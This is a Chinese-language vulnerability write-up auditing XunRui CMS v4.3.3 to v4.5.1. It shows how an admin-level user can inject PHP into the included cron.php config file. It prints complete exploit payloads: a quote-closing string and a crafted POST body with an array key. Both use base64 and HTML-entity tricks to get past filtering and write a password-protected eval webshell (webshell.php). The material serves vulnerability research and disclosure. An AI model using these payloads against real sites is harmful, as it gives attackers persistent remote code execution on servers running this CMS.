时隔多年,重回代码审计之路
讯睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞(文件写入加文件包含)
漏洞描述
Admin控制器文件夹下的cron.php中的add()函数对于用户的输入没有进行过滤限制,致使攻击者在具备管理员权限或具有”应用”->”任务队列”的管理权限时可以对WRITEPATH.'config/cron.php'
文件写入任意内容,同时该文件有多处被包含且可以被利用的点,正常情况下具有上述的触发条件即可稳定触发该漏洞
环境搭建
phpstorm+phpstudy
下载源文件https://gitee.com/dayrui/xunruicms
phpstorm中利用git选择版本
v4.3.3-4.5.0
访问admin.php访问后台
- 在该cms上,得到管理员权限后,可以通过调用Admin控制器文件夹下的cron.php控制器的add函数
1 | http://localhost:82/Admin.php?c=Cron&m=add |
查看一下add函数的代码
1 | // 任务类型 |
add()函数分析
1 | if (is_file(WRITEPATH.'config/cron.php')) { |
首先会去包含'config/cron.php'
文件,当其不存在时自动创建,WRITEPATH
的路径可在网站根目录下的index.php配置,默认为cache
1 | $json = ''; |
这两步是对$data进行一个赋值null
然后进入一个if判断
- 当为true时执行写入文件操作
1 | $post = \Phpcmf\Service::L('input')->post('data', true); |
第一步先对接受的post请求进行检查调用input.php中定义的input类下的post()函数,对其进行检查是否为空值,若接受到post请求且post的内容不为空时即返回TRUE
,否则返回FALSE
,若post请求中存在key为data的,就会进行xss_clean()函数进行清洗然后返回
详细清洗代码可见Security.php
1 | $post = \Phpcmf\Service::L('input')->post('data', true); |
然后就是写入文件
1 | file_put_contents(WRITEPATH.'config/cron.php', |
if语句中接受完post请求后会将接收到的内容进行json编码写入WRITEPATH
这里的漏洞出现点就是对于$json的赋值
1 | $json = ''; |
对于$json的赋值不加以足够的检查和清洗,用户的输入可能就可以成功写入文件
1 | Phpcmf\Service::L('input')->system_log('设置自定义任务类型'); |
if语句最后就是写入log
- 若为false,则跳过写入显示cron添加页面
1 | \Phpcmf\Service::V()->assign([ |
当我们在/Admin.php?c=Cron&m=add页面什么都不添加选择直接保存时,我们就可以清楚看到写入的文件格式是怎么样的了
xunruicms/cache/config/cron.php
漏洞利用
通过前文的分析,我们可以分析出漏洞利用主要注意点有以下三点
- json编码
- xss清洗
- 对写入文件的包含
我们对xss_clean的代码进行审计,可以发现他对于单引号'
没有很好的过滤
那我们就可以构造闭合并在其中插入我们需要的代码
我们向添加页面进行传参测试
1 | ';' |
我们可以看到可以成功闭合并且程序运行正常,即我们可以在这其中插入我们想要的恶意代码
对被过滤的字符或字符组合则利用编码绕过,比如html或base64
我们在输入框传入
1 | ';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;' |
然后我们可以看到已经成功传入,但是此时还没有生成webshell.php,原因在于我们需要对文件进行包含
我们上文说到add函数会先对WRITEPATH.'config/cron.php
进行包含,检测其是否存在,而当其存在时则进行包含,借助file_put_contents生成webshell.php
成功getshell
v4.5.1
add函数
1 | public function add() { |
较于前面版本,修改的地方主要有以下
在获取post的内容后,进行WRITEPATH.'config/cron.php'
文件的写入前加入了这么一段判断
1 | if ($post && is_array($post)) { |
dr_safe_filename()代码如下
1 | /** |
add函数代码对于post内容进行了一个是否为空且为数组的判断
且对于post内容的键值对进行检查,若某个键值对的value或name
key不存在,则进行销毁操作,且对于每个键值对的value的name
key和code
key进行dr_safe_filename清洗
漏洞利用
新版本对于xss清洗函数和数组的内容进行了控制,但是对于数组的key没有任何过滤,包括多维数组的每一维度的key,此处我们就可以尝试通过修改post内容中的key进行写入文件
和之前版本类似的思路,构造闭合,对于一些被过滤的字符或字符组合则利用编码绕过
我们需要先获取一个csrf_test_name,我们每次在添加页面点击保存时都会生成一个,可以当作是上传保存时的一个缓存文件,他是有时限性的,可以作为我们定向写入的“踏板”
页面点击保存后查看网络交互找到csrf_test_name
接着我们搭配csrf_test_name进行传入
1 | isform=1&csrf_test_name=ebbecc7642a9d38f1b33695fb6ae015e&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1 |
经过json编码和xss清洗与dr_safe_filename函数过滤后进入cron.php内容如下
1 | defined('FCPATH') OR exit('No direct script access allowed'); |
可见code
key已被写入其他东西,导致多维数组已被闭合
重新访问一些添加页面即可生成webshell
后言
该漏洞主要痛点一在于xss的过滤二在于对数组的规范化及检查,还有对于信息的泄露导致了漏洞的综合利用,我们编写包括使用时都需多加注意这些方面